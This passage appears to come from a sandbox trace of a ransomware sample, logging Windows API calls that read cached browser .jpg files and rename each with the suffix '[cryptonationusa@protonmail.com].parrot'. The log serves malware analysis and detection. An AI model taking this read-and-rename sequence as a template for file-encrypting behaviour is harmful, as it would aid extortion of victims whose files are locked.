halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedpyr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.977] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.977] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.980] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.981] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c72, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c72, lpOverlapped=0x0) returned 1 [0081.981] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.982] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.982] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.982] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEdQdv[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbedqdv[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.985] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.985] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.987] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.987] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xa23, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0xa23, lpOverlapped=0x0) returned 1 [0081.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.987] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.987] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.987] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEe62t[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbee62t[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.990] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.990] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.992] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.992] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1ca7, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1ca7, lpOverlapped=0x0) returned 1 [0081.992] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.993] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.993] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.993] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEedPR[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeedpr[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0081.996] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0081.996] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0081.998] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.999] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x9ef, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x9ef, lpOverlapped=0x0) returned 1 [0081.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0081.999] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0081.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0081.999] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0081.999] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTpB[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetpb[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.002] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.002] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.003] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.003] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x952, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x952, lpOverlapped=0x0) returned 1 [0082.003] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.004] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.004] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.004] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeTuf[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeetuf[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.007] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.007] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.008] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7a9, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x7a9, lpOverlapped=0x0) returned 1 [0082.008] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.008] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.009] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.009] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEeU5U[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbeeu5u[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.011] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.012] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.013] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x86f, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x86f, lpOverlapped=0x0) returned 1 [0082.013] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.013] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.014] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.014] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf306[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef306[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.017] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.017] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.018] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.018] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x828, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x828, lpOverlapped=0x0) returned 1 [0082.018] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.019] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.019] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.019] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEf54R[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbef54r[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.022] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.022] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.057] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.057] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x3860, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x3860, lpOverlapped=0x0) returned 1 [0082.058] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.059] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.059] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.060] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBbH[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbbh[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.063] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.063] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.065] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.065] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x19a5, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x19a5, lpOverlapped=0x0) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.066] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.066] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.066] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBq0[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbq0[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.069] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.069] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.071] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.071] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x2619, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x2619, lpOverlapped=0x0) returned 1 [0082.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.072] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.072] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.073] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfBrz[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefbrz[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.075] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.076] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.077] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.077] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1f84, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1f84, lpOverlapped=0x0) returned 1 [0082.078] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.078] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0082.079] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0082.079] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\IKQEEPZR\\BBEfXl6[1].jpg.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\ikqeepzr\\bbefxl6[1].jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0082.082] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0082.082] ReadFile (in: hFile=0x27c, lpBuffer=0x18e370, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x18e370*, lpNumberOfBytesRead=0x18e314*=0x18, lpOverlapped=0x0) returned 1 [0082.084] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0082.084] ReadFile (in: hFile=0x27c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x1c7e, lpNumberOfBytesRead=0x18e314, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e314*=0x1c7e, lpOverlapped=0x0) returned 1 [0082.084] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0082.084] SetFilePointerEx (in: hFile=0x27c, 